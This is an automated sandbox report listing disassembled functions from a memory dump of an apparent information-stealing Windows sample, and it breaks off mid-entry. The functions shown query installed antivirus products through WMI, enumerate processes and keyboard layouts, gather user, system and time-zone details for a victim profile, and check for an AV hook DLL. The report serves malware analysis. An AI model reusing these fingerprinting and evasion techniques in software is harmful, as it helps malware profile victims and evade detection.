Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: 18ef14b01f0c9b548d6f886a2cddc3af0617970d71857a954a9fda55c4d718fa
Instruction ID: b95bad4894bedf1c9c1e13ef597345169fc039fd00888eec7af619e02c6c11b6
Opcode Fuzzy Hash: 18ef14b01f0c9b548d6f886a2cddc3af0617970d71857a954a9fda55c4d718fa
Instruction Fuzzy Hash: F0314871A40249BBCF259B95CC49EEFBABDEFCAB10F104249F111A71D0C7749A81CB20

Function 00190DB0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

GetKeyboardLayoutList.USER32(00000000,00000000,001B670A,?,?), ref: 00190DE1
LocalAlloc.KERNEL32(00000040,00000000), ref: 00190DEF
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00190DFD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00190E2C

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

LocalFree.KERNEL32(00000000), ref: 00190ED4

Strings

/ , xrefs: 00190E48

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: b43fa0af2bf4bc50081dc9588074ce7c65627218a2727cb87d2cc758337d4c28
Instruction ID: 4a7507c0371ea932c737ab0f2d49fa6517560f884ab95a866ac5a0cd2cb8ce10
Opcode Fuzzy Hash: b43fa0af2bf4bc50081dc9588074ce7c65627218a2727cb87d2cc758337d4c28
Instruction Fuzzy Hash: E6312875D00228AFDF21AB64EC89A9EB7B8BB18300F1145E6F519B7152CB74AE818F50

Function 00192554 Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0019255E
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00197E73,.exe,001B6CD4,001B6CD0,001B6CCC,001B6CC8,001B6CC4,001B6CC0,001B6CBC,001B6CB8,001B6CB4,001B6CB0,001B6CAC), ref: 0019257D
Process32First.KERNEL32(00000000,00000128), ref: 0019258D
Process32Next.KERNEL32(00000000,00000128), ref: 0019259F
StrCmpCA.SHLWAPI(?), ref: 001925B1
CloseHandle.KERNEL32(00000000), ref: 001925C5

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: b9cb689f6ea86836e7b5b0f2f3d258af9a5079fc4ee4dc6bcaa4b50b15bc66df
Instruction ID: 8ca429f841209c6b405b7cc50c6db9b92cec3af2b8c1a3bd46136b8f4bca20f9
Opcode Fuzzy Hash: b9cb689f6ea86836e7b5b0f2f3d258af9a5079fc4ee4dc6bcaa4b50b15bc66df
Instruction Fuzzy Hash: 87013175A01254ABEB22ABA0DC08FFE7BBC9F15700F4401EAE409E71A1D7748E459B21

Function 001910EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,001B6918,Display Resolution: ,001B68FC,00000000,User Name: ,001B68EC,00000000,Computer Name: ,001B68D8,AV: ,001B68CC,Install Date: ), ref: 00191106
HeapAlloc.KERNEL32(00000000), ref: 0019110D
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00191129
wsprintfA.USER32 ref: 0019114F

Strings

%d MB, xrefs: 00191149

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 8429b9d03aabd924042db9825ea7e72fec759760735c4e087bbaedc148eaf445
Instruction ID: b4975a3231e7a2b36b1890562b4264542d83533f8179959934230ab72b21e896
Opcode Fuzzy Hash: 8429b9d03aabd924042db9825ea7e72fec759760735c4e087bbaedc148eaf445
Instruction Fuzzy Hash: 3F0136B5A41218BBEB05EFB4EC45AFE7BBCEF04B14F440126F502E7290DB7499818765

Function 0019147A Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,001B670F,?,?), ref: 001914A9
Process32First.KERNEL32(00000000,00000128), ref: 001914B9
Process32Next.KERNEL32(00000000,00000128), ref: 00191517
CloseHandle.KERNEL32(00000000), ref: 00191522

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: 0bbd3d86069399892e48c3a323b98e3aded648ec1a86d9d9fda2025271476ec4
Instruction ID: 8ce0e0ee802b45d561ef4f216af32cd0e7e26c2cd93e00f5bd0dfc27f9d0b634
Opcode Fuzzy Hash: 0bbd3d86069399892e48c3a323b98e3aded648ec1a86d9d9fda2025271476ec4
Instruction Fuzzy Hash: 9C118275A002189BEB22BB64EC85AFE77ACAF58700F050095F80AB7251DB74EE858F50

Function 00190D03 Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00190D1E
HeapAlloc.KERNEL32(00000000), ref: 00190D25
GetTimeZoneInformation.KERNEL32(?), ref: 00190D34
wsprintfA.USER32 ref: 00190D52

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 95d22baf1e02f1acaa0ab690b1309e3620a13a46ba4be9fdb19be0adbee4662e
Instruction ID: 8959b72c7f2d3a517e53602beffba1d243a844a183c2ba10b011e2ac22bdfabb
Opcode Fuzzy Hash: 95d22baf1e02f1acaa0ab690b1309e3620a13a46ba4be9fdb19be0adbee4662e
Instruction Fuzzy Hash: 2AF0E971601324ABEB01FBB4FC49BAB3BACAB04725F040256F515DB1D0DB709D458B91

Function 00190C28 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001813B9), ref: 00190C34
HeapAlloc.KERNEL32(00000000,?,?,?,001813B9), ref: 00190C3B
GetUserNameA.ADVAPI32(00000000,001813B9), ref: 00190C4F

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: c1c6a78fe3175e306f6f9590e74c1bf2d34bfc3569a1d5efe1d352456ba97362
Instruction ID: 9246232286b2201ac7037013b36fab88ad02b21bb79aec8a06f63a053ee7ed7a
Opcode Fuzzy Hash: c1c6a78fe3175e306f6f9590e74c1bf2d34bfc3569a1d5efe1d352456ba97362
Instruction Fuzzy Hash: 44D05BB5204204BBD741A7D5DC4DF8F77BCD788755F000155F645D2150D7F099848730

Function 00190F8F Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00190FA9
wsprintfA.USER32 ref: 00190FC1

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 21a52c0223ffdce870d8ff285b76cf9ae5e5250103938315ffdb00ab60dc9f87
Instruction ID: 8ab8a77da0f378cc6e641ad1af78c0dc2f42431d7102bc4cb8d43af05d5be666
Opcode Fuzzy Hash: 21a52c0223ffdce870d8ff285b76cf9ae5e5250103938315ffdb00ab60dc9f87
Instruction Fuzzy Hash: 67E012B195011D9BCF11EFA0FC559ED7BFCAB04304F4045B5A505E7190D774AB898F84

Function 001814AD Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00181503,avghookx.dll,00198586), ref: 001814DF

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: d34a6fea11231841d32b12c99103b98cf0918207ac9d56d12b3079544e2c0af4
Instruction ID: a485f56a04da0aab6336a38b3ea79328870d218cdaad8a6e8128f3fabd3b9508
Opcode Fuzzy Hash: d34a6fea11231841d32b12c99103b98cf0918207ac9d56d12b3079544e2c0af4
Instruction Fuzzy Hash: 2AF0FE37904154FBCF21DF59D804AAAF7BDEB47761F256054E409B3600C730EE55AB98

Function 00185482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

